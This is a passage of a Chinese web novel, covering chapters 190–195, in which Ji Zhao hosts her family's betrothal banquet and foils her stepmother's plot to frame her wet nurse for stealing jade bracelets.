最后奶娘文氏被活活打死,而她因为亲眼目睹惨状而惊惧昏厥。 醒来后,纪昭便得了心病。 每晚做噩梦都梦见浑身是血的奶娘说冤枉。 奶娘文氏包好碎了的镯子,见纪昭愣愣出神,还以为她是心疼镯子打碎。 奶娘文氏赶紧安慰:“大小姐不要生气,这东西和人一样都有命数。带了十几年摔了碰了都没碎,反而今夜碎了,说明我与它的缘分尽了。” 晚秋也道:“都说玉碎是替主人挡劫。说不定这是好事。奶娘有什么暗中的劫消了。” 纪昭回过神来,点了点头:“是,这玉有灵性,的确是替奶娘挡了劫。” 她接过那碎了的镯子,对奶娘文氏道:“奶娘,我接下来说的事有些玄乎,但你一定得信我的。按着我说的做。” 第190章 侯爷不待见大夫人 奶娘文氏不明所以。 纪昭斟酌了半天,细细讲了。 奶娘文氏疑惑不解:“当真?大夫人会这么做?” 晚意是个心思缜密的人,立刻道:“不可不防。虽说紫棠院已经滴水不漏,但总归是每日人进人出,一个没注意就会中招。” 纪昭:“我不知道大夫人会何时发作奶娘,但奶娘是我身边顶顶重要的人。大夫人是知道怎么拿捏我的。所以必须从今日防范起来。” 晚秋:“我一会儿去奶娘屋子里帮忙找看看。” 晚意:“奶娘身边有个丫鬟叫做燕儿的,我也叮嘱她长点心。” 四人商议定了便说动就动。 晚秋跟着奶娘文氏去了她屋子查看,晚意则留下来帮纪昭找找。 几人商议决定都翻找一遍,免得被人留下栽赃的东西。 过了一盏茶功夫,晚秋来禀报奶娘的屋子很干净。 纪昭稍稍放心。 奶娘文氏安慰:“大小姐别担心。若是真的到了那一日我定不会连累大小姐。” 纪昭动容:“奶娘不要这么想。你若出了事,我也好不过哪儿去。” 她又劝慰了几句,奶娘文氏这才回了屋子。 一夜无话。 第二日一早,纪昭早早醒来。丫鬟们早就在屋外鱼贯排着队,捧着洗漱用具等着伺候她洗漱更衣,上妆。 今日是侯府宴请的日子,名义是赏花品茶。 但实际上都知道是纪府两位姑娘定亲的宴席。 纪昭是第一次主持这等宴席,又因要来的贵客不少,格外郑重其事。 洗漱侯,纪昭用了一点早膳,便由两位嬷嬷和晚秋晚意帮忙穿衣上妆。 一袭宝蓝留仙裙,裙面上绣着喜鹊衔朱果跃枝图,两侧绣着吉祥如意纹,腰间系着同色宝蓝镶蓝玉带。 上身着紫纱罩缎面薄长衣,罩衣上用金丝绣着团云如意纹,金光闪闪,华贵耀眼。 一头如瀑青丝绾成半流云髻,因没成婚,半幅长发柔顺披在背上,用细如米粒的珍珠缀成发兜归整整齐。 她今日戴一套皇后赏赐的红宝石头面。 头上是一支以红宝石为主,其余各色宝石点缀的金凤簪。发边簪一支金雀衔珠金步摇,两支流苏。 发后缀了一朵丝绢做的花,其余用珍珠钗绾上。 额前发上插了一柄金镶玉梳。 整个人雍容华贵,珠宝的流光配上精致明艳的容色,令人挪不开眼去。 教养嬷嬷们啧啧称赞。 黄嬷嬷:“等不及想看准王妃大婚时是如何惊艳众人。” 纪昭摸了摸头发的金凤簪,谦虚笑了笑:“是两位嬷嬷的手艺好。” 陈嬷嬷:“是准王妃的容色艳压群芳。” 纪昭打扮妥当,便去给老夫人请安。 到了北正院,老夫人也用完膳,打扮妥当。她今日穿着富贵。 身上是葛红色的万字蝠纹缂丝长裙,上身是一件蜜色立领长衣。发间簪的是两支红玉镶金长簪,两支喜鹊衔花金步摇。 耳坠也是红玉做的,玉的水头很好,戴起来十分衬气色。 纪昭很少见老夫人如此郑重打扮,少不得请安后夸了起来。 老夫人笑呵呵的:“今天是好日子,拿出点侯府的体面来。” 纪昭也给两房夫人见礼。 两房夫人也打扮得十分得体郑重,二姨娘也穿了粉色长裙,戴上了金簪。 二姨娘没见过周行知,悄悄问:“今日周公子来不?” 纪昭笑道:“来的。” 二姨娘摸了摸鬓边的珠花,结结巴巴道:“也不知道见未来姑爷要送什么东西,昨晚想了一晚上。灵儿说他喜欢读书写字,妾就找侯爷讨了一副徽州的墨。 大小姐看看,可送使得?” 纪昭还没回答,二夫人沈氏就插嘴:“你放心。送给周家的礼物大姑娘已经都安排好了。你就不用送了。” 二姨娘尴尬:“原来如此,那我就不凑热闹了。” 纪昭解围:“说到底也是二姨娘的一片心意,到时候一起送上。” 二姨娘眼睛亮了亮:“多谢大小姐。” 过了一会儿,下人说大夫人来了。 老夫人微微蹙眉:“怎么这个时候才来。虽不用她出面招待,但身为侯府主母起的这么晚。” 纪昭:“也许母亲是赶路太累,多歇了一会儿。祖母不要怪罪。” 老夫人很欣慰:“昭儿很孝顺。人前人后都一个样。” 众人听了也纷纷称赞。 大夫人秦氏前来。她今日打扮得十分雍容富贵。茜色缂丝百褶长裙,上身是紫红纱衣。 头上是时兴的累丝嵌珠金雀引子纹金簪。 金簪上有三色宝石,铸金工艺繁复,整支簪子熠熠生辉。 大夫人瞧见纪昭的打扮,眼底掠过嫉恨。 她上前对老夫人请安。 老夫人见她打扮得如此隆重,微微蹙眉:“今日来的贵客多,你若是身子不适可以早些回院歇息。一干事务有昭儿和其他两房帮衬。” 大夫人:“多谢婆母体恤。” 大夫人坐下来,忽地瞧见二姨娘。她目光落在二姨娘微凸的肚子。 问:“几个月了?” 二姨娘赶紧回答:“快是四个月了。” 大夫人古怪笑了笑:“五个月就成形了,好生养着吧,还出来做什么?” 二姨娘不敢违背,应了一声便沮丧要回去。 老夫人:“今日是灵儿的大事。她身为亲生的娘,看一眼应该的。” 大夫人笑道:“婆母宽容,不过说到底灵儿也是我的女儿。这大事我替二姨娘掌掌眼就行了。” 老夫人皱眉。 二姨娘脸色难看。她期待了许久想要见见周家的公子,但没想到最后被大夫人拦住了。 二姨娘求助似的看向纪昭。 纪昭正要出声,忽的眼角余光瞧见走来的晋阳侯。 果然,晋阳侯到了,二姨娘像是找到了主心骨,眼中瞬间亮了。 大夫人暗自斜睨了二姨娘,款款迎上前:“侯爷来了。” 晋阳侯看了一眼大夫人,冷冷道:“多大年纪了,还穿这么艳。” 他的厌恶不加掩饰。 大夫人如遭雷击,怔愣当场。 她从昨日回府就没见着晋阳侯,派人去请,侯爷只让下人说他歇下了。再请,侯爷已很不耐烦说她刚回府,院中杂乱,就不过去了。 大夫人本想趁昨夜好好告纪昭的状,没想到侯爷不见她。 第191章大夫人内心惊涛骇浪 大夫人心里惶恐了。 昨日回府就觉得不对劲,今日一早一向娇宠自己,很给自己体面的晋阳侯竟然大众斥责她穿着不妥当。 大夫人眼眶红了:“侯爷一大早的怎么如此火气大?” 晋阳侯不看她,对老夫人说:“过一会儿贵客就快到了。辛苦母亲移步去后堂代为招待女眷。昭儿终究还没出阁,怕撑不住场子。” 老夫人呵呵笑道:“那你可小瞧了昭儿。这些日子她分派做事井井有条,管家和婆子们都在我面前夸呢。” 晋阳侯露出笑容,十分吝啬称赞了纪昭。 “长大了也稳重些了。” 纪昭含笑应了。 几人说话,至始至终都没搭理大夫人。 大夫人委屈过后,眼带狐疑。纪昭都收在眼中,心中感叹,秦氏当真是聪明,一下子就发现了不对头。 这份聪明要是用在正途上该多好? 那边二姨娘趁机道:“侯爷,听说周家的公子也来。妾想隔着屏风张望一眼,可使得?” 晋阳侯不以为意:“当然使得。你身为灵儿母亲,自然是要看看的。” 二姨娘眼中放光,欢喜应了。 大夫人坐下来,满脸失落。 此时管事来了,说贵客开始登门了。众人起身去后院明堂和后堂侯客。纪昭扶着老夫人走在前面,两房夫人欢喜跟着。 晋阳侯则去了明堂。 等众人都走了,大夫人这才失魂落魄起了身。 此时白沁雪姗姗来迟。她瞧着除了大夫人外,空无一人的厅堂,怔愣住了。 “怎么没人?” 大夫人面露惨笑:“我算是知道了,他们将我无视,便是要将我彻底逐出纪府。” 白沁雪皱眉:“母亲不要胡说。您是侯夫人,是当家主母,没有错处怎可能将您撇开去?” 大夫人只觉得心口一阵血气翻涌,想吐又吐不出来。 “刚我说话,侯爷,老夫人都好似没我这个人似的,一眼都不看。纪昭这个孽女打扮得风光又体面,所有人都捧着她说话。眼里没有半分我。” 白沁雪听得莫名,连忙问旁边的张嬷嬷。 张嬷嬷低声说了:“侯爷呵斥大夫人穿的衣服……不好。” 白沁雪松了口气:“原来只是侯爷不喜母亲的衣衫,换了就是。母亲别多想。今日郑夫人还来呢。 女儿得找个机会和郑夫人说上话。到时候还得母亲出面。” 大夫人顺了顺气,压下心里强烈的不安。 “好,去。我就不信他们能如此对我。我才是侯夫人。纪昭再风光,过阵子也得出嫁了。” 她似抓到了一线生机,“是,我不该因小失大,坏了今日的筹谋。” 她看了一眼张嬷嬷:“申嬷嬷办的怎么样?” 张嬷嬷点了点头。 大夫人眼底掠过寒冰:“走吧。客人还在前面等着呢。” 白沁雪见大夫人振作起来,暗自松了口气。 她并不是不知道侯府如今气氛诡异,仿佛有什么大事发生唯独瞒着大夫人和自己一般。 不过她已经完全顾不上这了。 就如同一条快沉没的船,白沁雪只想赶紧踩在他人的头上速速逃离这艘破船,谋得自己的前程最重要。 她哪管大夫人死活。 …… 纪昭到了后堂,眼风一扫就有丫鬟悄悄退了出去。 随着门房呈上来的名帖,贵客渐渐多了。 纪昭笑容晏晏,一派从容自若,气氛活络起来。 此次来的贵客有郑国公夫人、郭国公夫人,还有便是忠义伯爵府的大夫人钱李氏、周家大夫人王氏。 还有其余各家夫人和交好的世家小姐夫人们。 贵客很多,大部分都是有头有脸,有名有姓的。 不过一个时辰,明堂和后堂就欢声笑语,宾客满满。奴仆丫鬟们井然有序,忙而不乱。 郑国公夫人笑着称赞:“侯府的下人进退有度,像是训练出来似的。” 纪昭:“郑国公夫人眼睛真利。这些仆人端茶送水统一都按着军营中的法子练了好几遍。” 郭国夫人笑着道:“果然是你规训的,看着像是兵。” 周家大夫人正和老夫人说话,听了这话回头特地打量纪昭一眼。 周家大夫人:“准王妃年纪轻轻就如此能干,令人刮目相看。” 纪昭i客气:“侯府是后起之秀,自然是要在这些小细节上更精进些。” 周家大夫人点了点头,带着赞许:“准王妃气度很好。” 忠义伯爵府钱李氏也含笑称赞:“准王妃算得上才貌双全。” 她们都对纪昭有了很好的印象,只悔恨当年自家有适龄的儿郎怎么想不到与纪府结亲。 如今才知道百闻不如一见,纪府虽然是寒门出身但有纪荣、纪昭这等人才,将来一定发达。 两位大夫人在心中时而后悔,时而庆幸。 后悔的是当初听信市井传言,觉得纪昭粗鄙又莽撞,不合适婚配。庆幸的是如今自家的儿郎能搭上纪府姻亲关系,也算是亡羊补牢。 大夫人看着两位夫人赞赏纪昭,忍不住瞧了一眼纪昭。 纪昭犹如擦去灰尘的明珠,在这种场合焕发光彩。 她越是风光,大夫人心就越是针扎一般难受。 这份荣光和体面原本应该一半属于她,一半属于白沁雪。 “这只是一时风光罢了。好戏在后头。” 大夫人想着自己的安排,心中疯狂冒出的暴躁渐渐压了下来。 她已经回府了,又得了那人的消息,况且白沁雪的前途也不是全然黯淡。还没有输,还可以再博。 将来她要怎么磋磨纪昭,还不是几句话的事? 大夫人的脸上又露出笑容来。 纪昭一边应酬夫人们,一边悄悄瞧着大夫人。 她知道大夫人的不甘愿,也知道她难受点在哪儿。 要是从前,自己是断然不可能在这种场合上露面,更不用提能大大方方应酬贵客。 所以大夫人一定会搞事,只是不知道她什么时候会发作。 正说着话,管事喜气洋洋来了:“老夫人、大小姐,太子殿下驾到、睿亲王殿下、陈王殿下,还有几位公子都来了。 侯爷已经去迎了。” 众人怔愣片刻,随即热切议论起来。 太子竟然驾到! 睿亲王也来了! 这是何等的荣耀?! 第192章 宴席便是定亲宴 众人前去迎接。 太子萧澈一身玉白色常服,头束玉冠,小小年纪稚气还在,但终究是天家贵胄,天生的气度很好弥补了年纪上的稚嫩。 他身边是睿亲王萧烨。 萧烨今日着一身紫色亲王常服,头束紫玉冠,一根蟠龙长簪固定住。 他容色冷峻又俊美,气势惊人,站在太子身边,众人眼光被他夺走。 只觉得其他人都是陪衬,唯独他如此耀眼。 萧烨左边是陈王。陈王就逊色多了,还左顾右盼十分好奇。 晋阳侯领着两个儿子拜见。 太子萧澈抬手:“突然打扰,晋阳侯还望见谅。” 晋阳侯连忙道:“不敢,太子殿下驾临寒舍,寒舍蓬荜生辉。” 老夫人领着纪府女眷前去见礼。 太子萧澈道:“老夫人身子硬朗,是侯府之福。” 老夫人十分高兴,连连谦虚。 一番见过众人后,太子被迎进了明堂。 萧烨慢慢跟在太子身后。他身份尊贵又腿脚不便,没人敢催促,于是一大群人跟在他身后不敢越了半分去。 萧烨瞧见纪昭,示意她过来。 纪昭上前:“殿下来了,怎么太子殿下也跟着来。” 萧烨:“他散学时遇到孤,缠着要来玩。” 陈王探出脑袋:“弟媳,你不用担心。太子不会怪你们准备不妥当的。来的路上我已经吩咐他了。” 纪昭:“……” 这哪是什么怪不怪的事?分明是太子一来,这宴席的本质又变了。 后续麻烦很多,因为这一来,朝臣就会以为纪府是太子一党。 这变成了明面上。 纪昭无奈:“先进去再说吧。站在这儿,客人都不敢进去。” 萧烨看了后面一眼,哼了一声,照旧慢慢走着。陈王不耐烦等他,当先大步追着太子去了。 终于到了垂花拱门分隔男宾女客处。 萧烨突然道:“这几日没什么事,陈王要约打马球。你也去。” 玩? 纪昭只觉得头疼。 听说陈王好玩乐,不知为何偏偏缠上萧烨这种离群索居的人。而萧烨也不知道为什么,似乎又缠上自己。 每次有什么事便变着法拉上自己凑数。 纪昭硬着头皮,悄声答应:“好。等空了再说。” 萧烨却不满:“你又没什么事。为何要等空了再说?” 纪昭:“我有事,府中很多事呢。” 萧烨皱眉:“除了学规矩还有什么事?” 纪昭无言以对,只能匆匆道:“好,空了就去。” 萧烨这才满意地拄着手杖拐去了明堂。 跟在后面的老夫人和郑国公夫人看得清清楚楚,听也听得清楚。 郑国公夫人笑:“都说睿亲王对女子不感兴趣,但我亲眼瞧见好几回,他对准王妃是极好的,很是上心。” 老夫人呵呵笑:“这也许就是姻缘天定。两人越发登对了。” 身后的忠义伯爵府大夫人、周家大夫人心中啧啧惊叹。 坊间都说睿亲王萧烨娶纪昭是皇帝硬塞,两人极是不般配。 想睿亲王萧烨是何等人物,怎么会满意这门婚事?可如今看来,两人不但登对,萧烨也极爱这位未来的准王妃。 宴席开始,众人言笑晏晏。 周家大夫人李氏很是得体,说的话旁征博引,尽显书香世家大族的底蕴。而忠义伯爵府的大夫人钱李氏十分沉稳,说话前三思后言,十分缜密。 两位大家主母各自有气度,纪昭看得十分满意。 看人看言行看面相,两位大夫人一看就知道是明事理又有肚量的。 纪璇静和纪灵分别嫁了,最起码不会受到苛待。 美味佳肴一样样上来,中规中矩中有巧思。酒水是新酿的果酒,纪昭让人在酒中加了冰块,没成想竟然意外爽口甘甜。 郭国夫人是最喜欢这种巧思,品了一口十分赞赏:“没想到果酒中加冰块如此爽口,别有一番滋味。” 纪昭笑道:“是从冰梅酸汤中得的灵感。我觉得可以试试,没想到还真成了。” 郭国夫人笑道:“很好。下次我府中开宴席,准王妃也不吝赐教。” 纪昭:“不敢,不敢。” 郭国夫人很高兴,一连喝了一壶。 又说:“我不白喝你的,上次说要赠你一块好玉石,今日带来了。” 她拍了拍手,奴仆便抬了一块大约半尺高,一尺见方的玉石。 石皮上扒了一片,可以瞧见里面彩色的翡翠。 众人艳羡。 这么大一块玉石,且看着好像是上好的春彩色翡翠。这可以说价值连城。 郭国夫人十分得意:“这是我让人从百齿国寻来的好玉。里面的色很少见,让玉匠剖开可以做近百件玉镯,若是雕成玉像,也是价值不菲。” 纪昭:“不敢收,太贵重了。” 郭国夫人佯装不高兴:“小友这是不给我面子了。” 纪昭这才收下。 郑国公夫人又道:“对了,听说准王妃有两个妹妹明年及笄。是哪两位?” 纪昭让人叫纪璇静和纪灵上前。 二夫人沈氏上前,带着女儿见礼。二姨娘也得了指示上前见礼。 纪璇静胆子大,上前大声说:“见过郑国公夫人,夫人吉祥安康。见过忠义伯爵府大夫人,大夫人安。” 忠义伯爵府大夫人见过纪璇静一面,今日再见她在众人面前如此落落大方,十分满意。 她褪下手腕上的一只镯子,含笑道:“上次只隔着远远见了一面,今日算是真正见着。这是见面礼。” 纪璇静不知要不要接,看向二夫人。 二夫人又惊又喜,推了她一把。 纪璇静恭敬上前接了,甜甜一笑:“谢谢伯夫人,伯夫人真面善。” 忠义伯爵府大夫人被她逗乐,眼中有了爱怜:“是个好孩子,和我二子很般配。性子也好。” 得了这一句,纪昭放下心来。 二夫人沈氏十分高兴,上前说了几句。 而纪灵怯怯的,二姨娘心急如焚。 纪昭朝她招手:“快来见过周家大夫人。” 纪灵鼓起勇气走到周家大夫人钱李氏,规规矩矩行了一礼:“见过周家大夫人,大夫人安康,福安。” 周家大夫人打量了纪灵上下,含笑道:“可曾读了书?” 纪灵懵懵懂懂:“读过,已经读到了诗三百了。” 二姨娘急忙推了她一把,陪着笑道:“她读的不多,也就识几个字罢了。女子无才便是德,读那么多做什么。” 纪灵不知道自己回答的是对还是错,急的满脸通红。 一双手不停揪着帕子,都快哭了。 周家大夫人含笑又问:“你喜欢读书吗?” 纪灵还没回答,二姨娘赶紧又道:“她不喜欢读书的。女子相夫教子最是重要,那些杂书看多了会乱了脑子。是不是,灵儿?” 纪灵此时全没主意,只能看向纪昭求助。 纪昭对她微微点头。 纪灵突然有了勇气,轻声但坚决道:“姨娘说的不对。我喜欢读书写字,喜欢听故事。故事里有礼义廉耻,忠肝义胆,好多教人做人的道理。” “我,我……我虽然笨了点,但大姐姐说只要潜心钻研,早晚会明白这些大道理。” 第193章 大夫人做局 后堂静默了一瞬。 所有人的目光齐刷刷盯着纪灵看。 纪灵鼓起勇气说完话后,害怕得浑身发抖。 二姨娘急了,张口就说:“你这个死丫头……” 纪昭出声:“二姨娘,你下去吧。” 二姨娘自知失言,灰溜溜退了下去。 周家大夫人含笑招手:“好孩子你过来。” 纪灵移步上前,眼中有泪。 周家大夫人笑着握住她的手:“你是女子也懂得礼义廉耻,忠肝义胆的大道理,这份心便胜过大多数世间女子了。” 纪灵不敢置信抬起头。她以为自己一定说错话,葬送了一生幸福,却没想到却是得了周家大夫人的赞赏。 周家大夫人从手腕上退下一个金镶玉手镯,戴在纪灵手腕上。 “这是我出嫁时,母亲送的手镯。便当做见面礼赠你,希望你秉持本心。” 纪灵懵懵懂懂,忘了谢。 纪昭在旁看得眼眶发热。 周家果然是书香世家大族,大夫人这一番话彰显了诗礼传家的气度,更是认了纪灵当周家妇。 纪昭:“灵儿,快些谢谢周家大夫人。” 纪灵急忙道谢。 周家大夫人很喜欢纪灵,拉着她说了几句,又让她陪伴左右。 老夫人看得十分高兴,乐得合不拢嘴。 郭国夫人也笑:“果然是纪家的小姐,与众不同。” 纪灵难得机灵一回:“是大姐姐平日教导。我都听大姐姐的话,以大姐姐为榜样。” 众人都赞许笑了。 气氛很好,一派兴旺之相。 大夫人坐着,眼底有深深的不甘和怒意。 纪璇静能攀上忠义伯爵府的好亲事,这算是仗了侯府的势。 但纪灵这算是怎么回事?她一介小小的庶女,亲母又是个没见识的姨娘,她凭什么能攀上世家大族? 虽说是嫁周家的庶子,但也是极好的一门亲事。 凭什么她的白沁雪如此倒霉,只能当三皇子的贱妾? 大夫人越想越是闹心:“定是纪昭暗中使坏,坏了沁雪的前途。” 她这么想,但却心里明白。白沁雪之所以走到这个地步,是自作聪明,自作自受。 宴席到了下半场都很顺利。 纪府请了唱曲的、杂耍的,还有戏班子演了一出滑稽小戏,众人都看得十分起劲。 明堂男宾那边也宾主尽欢。 于是便有人过来敬酒。来的是忠义伯爵府的二公子钱良卿,还有周家庶子周行知。 两位公子年纪不大,却一个长得英气勃发,浓眉大眼,另一个儒雅端方、彬彬有礼了。 老夫人越看越是喜欢,让人给了见面礼。 二夫人沈氏更是笑得见牙不见眼,与忠义伯爵府的大夫人连声夸钱良卿。 而周行知则是老夫人让上前细细端详,不住问学业课业。 纪昭瞧见二姨娘躲在屏风后偷看,不停抹眼泪。 总之,宾主尽欢,纪府的两道婚事算是尘埃落定。 大夫人冷眼瞧着,没怎么吭声。 等两位公子回去男宾处,大夫人对众人笑道:“不胜酒力,下去歇歇散散酒。昭儿,你下去看看酒食。” 老夫人皱起眉:“酒食自有专管的人看着,昭儿是主人,就在这里陪客人就是。” 大夫人抬手摸了摸鬓发,惭愧笑道:“我这是喝多了糊涂了,一时错了。” 她说着对纪昭笑了笑:“那你好生在这儿看顾着,为娘下去散散酒气。” 她说着又举手为纪昭整了整鬓边的珠花。 大夫人的动作十分慈祥,像是一位平日很疼爱女儿的母亲在为她整理乱了的珠花。 她这一抬手,长袖微微滑下露出皓白细细的手腕。 众人都知道纪府的侯夫人长得很美,其实大夫人五官并不如纪昭精致美颜。她胜在肌肤如雪。 所谓一白遮三丑,更何况大夫人又白又秀丽,视觉上显得很有女人味。 她这一抬手,皓白的手腕犹如霜雪似的。 腕间戴着一对翠绿色的玉镯,更是显目。 老夫人皱眉,心道:“大儿媳这是喝多了失礼了,手脖子都露出来了。” 她想着,赶紧催促大夫人下去歇着。 大夫人含笑退了下去。 纪昭瞧着她离开,皱了皱眉。 宴席已到了尾声,郑国公夫人和郭国公夫人便要离去。 按着规矩,主人家还得请她们多待一会儿,以示尽了地主之谊。于是纪昭提议去花园里赏新到的花。两位夫人欣然答应。 一群人便有说有笑到了花园中赏花赏景。 男宾那边也到了花园中喝茶畅谈。 过了一道抄手游廊,突的春翠匆匆来了,在纪昭耳边低语了两句。 纪昭点了点头:“莫慌。” 正说完话,隔墙就有人喝骂:“来人,把这个老婆子捆起来,押进柴房等着明日送官去!” 这一声喝骂兼着后面骂声,宾客们听得清清楚楚。 郑国公夫人停住脚步,郭国夫人也驻足蹙眉。 老夫人愣住,旋即问下人:“快去看看出了什么事。” 下人匆匆去了,隔墙的骂声还不断传来,都是责骂的声音。 突然有道声音凄厉:“冤枉啊!大夫人冤枉了老奴。老奴没有偷,老奴没有偷……” 纪昭听得出这声音,脸色微微变了。 是奶娘文氏。 她失声:“奶娘出事了。” 老夫人见她惊慌,急忙拉住她:“且慢,先问问有什么事。” 过了一会儿,大夫人满脸怒容前来:“婆母,这内宅真是藏了只好大的硕鼠……” 她话没说完,猛地瞧见这么多贵客,赶紧勉强住了口。 大夫人走上前,敷衍笑道:“家中出了点丑事,惊扰了各位贵客们,实在是罪过。” 她说着狠狠瞪了一眼纪昭。 这番故作姿态,很容易让人联想是不是纪昭手下的下人捅了大篓子。而大夫人为了侯府颜面不得不遮掩。 在场都是人精,也是各自大家族的当家主母,一看大夫人这样子就纷纷有了别的想法。 甚至有的人狐疑看向纪昭。 纪昭能感受到各处目光。她心中冷笑。 果然来了。 前世陷害奶娘文氏那一幕又来了,只是提前许多。 突然奶娘文氏踉跄跑了过来,身后是家丁追来。 奶娘文氏大声道:“大小姐,救我!老奴什么都没偷。” 第194章 故技重施,要逼纪昭发疯 众人纷纷变色。 纪昭瞧见了大夫人眼底的得意。她瞬间明白了大夫人这是故意将奶娘文氏放出来。目的是让纪昭在众目睽睽下丢脸。 男宾那边也听到了这里的声音,晋阳侯带着纪荣匆匆来了。 晋阳侯满脸怒容:“何事大声喧哗?” 他呵斥完,非常不满盯着纪昭:“头一次让你管家你就出了纰漏,要是惊扰了贵客怎么办?” 他骂的毫不留情面。 众人面面相觑,谁也没想到纪昭如今身份贵重,但在晋阳侯心中还是不堪重任。 身后有人冷冷发问:“侯爷在骂谁?” 晋阳侯听到这个声音,心中一惊,这才反应过来自己竟然大庭广众下不给纪昭面子。 他心中后悔。 要不是从前轻视辱骂惯了纪昭,怎么会这么不带脑子一骨碌骂人。 晋阳侯赶紧回头谢罪:“睿王殿下,这个……这个是家事。是我教子无方……” 听到这话,所有人都诧异。 到了这个节骨眼上,晋阳侯还在贬损纪昭。她可是未来的睿亲王妃。 这打脸到了睿亲王面前了,晋阳侯是疯了不成? 萧烨拄着手杖慢慢走来,神情冷厉:“哦?教子无方?哪个子?” 晋阳侯这才发现自己又又一次说错话了。 纪昭上前:“惊扰了殿下,实在罪过。不过既然都已闹到了此处,还请侯爷做个见证,主持公道。” 萧烨点了点头。 那边大夫人叹气:“昭儿,你这是做什么?为娘本想替你隐瞒,暗暗处理这老货,但你这样不识好歹……” 她摇头叹气,好像自己一番好心全被纪昭浪费了。 就连郑国公夫人也动摇,她打圆场笑道:“奴仆时常犯错是常事,手脚不干净的也有,一概查清了打了罚了便是。” 大夫人抓到这话头,笑道:“是啊。昭儿年纪轻,耳根子软,未免被下人欺瞒过去。又是第一次当家,被钻了空子也是正常。” 她说着要去握纪昭的手,安慰:“母亲不会怪你御下不严,毕竟你还年轻,管家能管到如此地步已经算不错了。出点漏子是正常。” 众女眷纷纷点头。 纪昭内心冷笑。 大夫人就是这样,用看似为她好的言语逼她发疯,然后再静静埋怨她怎么如此脾气不好,粗鄙,暴躁。 最后再做出一副受伤的样子,含泪说自己本心是如何为纪昭着想,但纪昭一点都不领情。 所有人都信了大夫人,没人愿意听纪昭的辩解。 见众人用同情的目光瞧着自己,纪昭猛地甩开大夫人的手。 她面上带着笑,看似温和却言语犀利:“母亲这话说的好似就定了奶娘的罪过。女儿就不明白了,就算是贼人被官府抓了还得过三堂,人证物证皆在才能定罪。 怎么在母亲口中,奶娘就这么被轻易定了罪呢?这传出去,女儿名声是小,怕的是旁人不服,反过来说我们侯府诬赖下人,随意打罚下人呢。” 大夫人的脸色僵了。 晋阳侯皱眉,正要呵斥,突然瞧见了萧烨的脸色。 他终于学了聪明,不敢当众不给女儿面子。 大夫人语气中带着怒意,却是干笑了一声:“女儿,你怎么如此不知好歹。母亲可是为了你好。” 纪昭不卑不亢:“母亲虽说是为了女儿好,但如今这么多贵人在场,这事若是不查明了往小的说是奶娘一个人的事,往大了说,女儿可是要担责的,御下不严还是小的,万一有人怀疑女儿的品行怎么办? 总不能让所有贵人都揣测女儿的紫棠院是藏污纳垢的贼窝吧?” 这番话说出来,众贵妇们纷纷点头。 她们是人精,很快明白了其中的猫腻。 大夫人看似维护女儿,但实则是做实了纪昭院中下人偷盗罪名。若是没客人在,顶多关起门来处置就算完事。 但现如今这么多人看着,已经不算家事,事关纪昭的名声。 萧烨冷冷开口:“既然侯夫人抓到了贼人,就说清楚是怎么回事。” 大夫人只能把事情经过说了。 原来她打算去醒酒散散,到了一处亭子准备歇着,忽然要吃枇杷。薄枇杷容易沾袖子,腕间手镯还撑不住。 大夫人怕镯子损坏,于是将一对镯子让丫鬟放在木匣子里放好。 她吃了几个枇杷就走了。 丫鬟以为大夫人去去就回,于是在亭子里等着。 大夫人让丫鬟说:“你说,我走了后,你将匣子交给了谁?” 丫鬟跪在地上哭丧着脸:“说起来也怪奴婢。奴婢昨晚偷吃了凉糕,今日一直闹肚子。大夫人走了后,奴婢突然肚子疼。正好大小姐的奶娘过来,奴婢就把匣子让奶娘保管。” 大夫人对奶娘文氏冷笑:“你倒是拿了木匣子就走了,等追回来的时候,匣子里的镯子不见了。你却口口声声丫鬟给你时是空的。 难不成我会冤枉你?” 奶娘文氏磕头:“大小姐,您要信老奴。老奴拿到手里的匣子就是空的。” 大夫人怒了:“你别仗着奶了大小姐几年就把自己当做半个主子。我可是昭儿的亲母,我犯的着冤枉你?” 众人一听也是这个道理。 大夫人身为侯夫人,又是纪昭的亲母。她断然不可能冤枉纪昭的人,来打压纪昭。 此时晋阳侯已经不耐烦了:“这老货肯定拿了那镯子,还要什么证据,抓下去……” 老夫人再也忍不住:“闭嘴!你咋呼什么?” 晋阳侯被母亲呵斥,不敢再开口。 老夫人问:“是哪对镯子?” 大夫人伸了空空如也的手腕:“就是今日为了宴宾客特地戴出来的翡翠镯子。” 老夫人:“你当真是记得放在匣子中?” 大夫人:“这个是自然。这镯子是婆母在我进门的时候亲自给的,儿媳一直很妥帖保存着。要不是今天日子郑重,断然不敢随意拿出来戴。” 她说得恭顺又虔诚,众人都点头。 她们自然记得大夫人手腕的翡翠镯子,刚才大夫人露了两三回,所有人都瞧见了。 纪昭突然出声:“母亲,奶娘一直很谨小慎微,从不贪财物。是不是您把镯子放在了别的地方?” 第195章 大夫人中邪了 大夫人:“你不信母亲?” 纪昭委屈:“不是不信母亲,是这镯子太贵重了。女儿既不希望母亲丢镯子,也不希望母亲误会女儿。” 大夫人:“那就当众审一审吧。免得你怨恨母亲冤枉了你。” 她说着对下人说:“去奶娘的屋子搜一搜。肯定在她的屋子藏着。” 下人很快应了一声去了紫棠院。 纪昭拦住,神情平静:“母亲说搜就搜,这不妥吧。” 大夫人见她几次阻拦,以为她定是心虚了。她越发笃定有猫腻,催促着下人去搜。 纪昭求助老夫人:“祖母,奶娘是我身边最器重的人,万一被人污蔑栽赃了可怎么办?” 老夫人其实很痛恨大夫人闹出这事。 她怒道:“好,要搜就让我的人去搜。搜出来,人送官。搜不出来的话……” 老夫人瞧着大夫人,目光多了几分深沉的怒意。 大夫人硬着头皮:“若是冤枉了人我认罚。” 老夫人派了人去搜。紫棠院不远,很快下人搜出一包东西。 大夫人面上隐约有喜色。 纪昭不动声色:“这是什么?” 奶娘文氏:“冤枉啊,这东西我没见过。” 大夫人呵斥:“从你屋子里找到的,还敢狡辩。” 纪昭道:“那就拆开看看是什么。” 包袱拆开,里面的东西露了出来。大夫人只看了一眼,就立刻惊呼:“怎么是这么些东西?” 她说完才发现自己说漏了嘴。 纪昭:“母亲难道期望这里面是别的什么东西?” 众人看向大夫人,正巧看见她心虚躲闪的眼神。 大夫人后悔,急忙撇清:“我以为这包东西里面有我的镯子。” 众人看去,是一包面饼,有葱油饼、酸菜饼,芝麻饼……看得人一阵无言以对。 晚秋急忙跪下:“是奴婢今早在外面买的饼子,想着这几日活儿多肚子饿得快,想和晚意偷偷藏着晚间吃。怕大小姐骂奴婢,于是就藏到了奶娘的屋子去。” 没搜到镯子,搜出了一包大饼。 众人明白了这是一场局。而且可怕的是这局是大夫人设给亲生女儿纪昭的。 好可怕,好歹毒。 